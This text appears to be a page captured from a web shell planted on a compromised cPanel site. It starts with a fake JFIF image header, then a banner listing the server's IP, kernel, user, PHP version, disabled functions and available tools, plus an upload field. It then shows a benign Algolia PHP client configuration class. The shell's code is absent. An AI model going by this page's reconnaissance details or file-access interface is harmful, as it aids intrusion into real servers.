����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.82 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/algolia/algoliasearch-client-php/src/Config/ |
Upload File : |
<?php namespace Algolia\AlgoliaSearch\Config; abstract class AbstractConfig { protected $config; protected $defaultReadTimeout = 5; protected $defaultWriteTimeout = 30; protected $defaultConnectTimeout = 2; public function __construct(array $config = []) { $config += $this->getDefaultConfig(); $this->config = $config; } public function getDefaultConfig() { return [ 'appId' => '', 'apiKey' => '', 'hosts' => null, 'readTimeout' => $this->defaultReadTimeout, 'writeTimeout' => $this->defaultWriteTimeout, 'connectTimeout' => $this->defaultConnectTimeout, 'defaultHeaders' => [], ]; } public function getAppId() { return $this->config['appId']; } public function setAppId($appId) { $this->config['appId'] = $appId; return $this; } public function getApiKey() { return $this->config['apiKey']; } public function setApiKey($apiKey) { $this->config['apiKey'] = $apiKey; return $this; } public function getHosts() { return $this->config['hosts']; } public function setHosts($hosts) { $this->config['hosts'] = $hosts; return $this; } public function getReadTimeout() { return $this->config['readTimeout']; } public function setReadTimeout($readTimeout) { $this->config['readTimeout'] = $readTimeout; return $this; } public function getWriteTimeout() { return $this->config['writeTimeout']; } public function setWriteTimeout($writeTimeout) { $this->config['writeTimeout'] = $writeTimeout; return $this; } public function getConnectTimeout() { return $this->config['connectTimeout']; } public function setConnectTimeout($connectTimeout) { $this->config['connectTimeout'] = $connectTimeout; return $this; } public function getDefaultHeaders() { return $this->config['defaultHeaders']; } public function setDefaultHeaders(array $defaultHeaders) { $this->config['defaultHeaders'] = $defaultHeaders; return $this; } }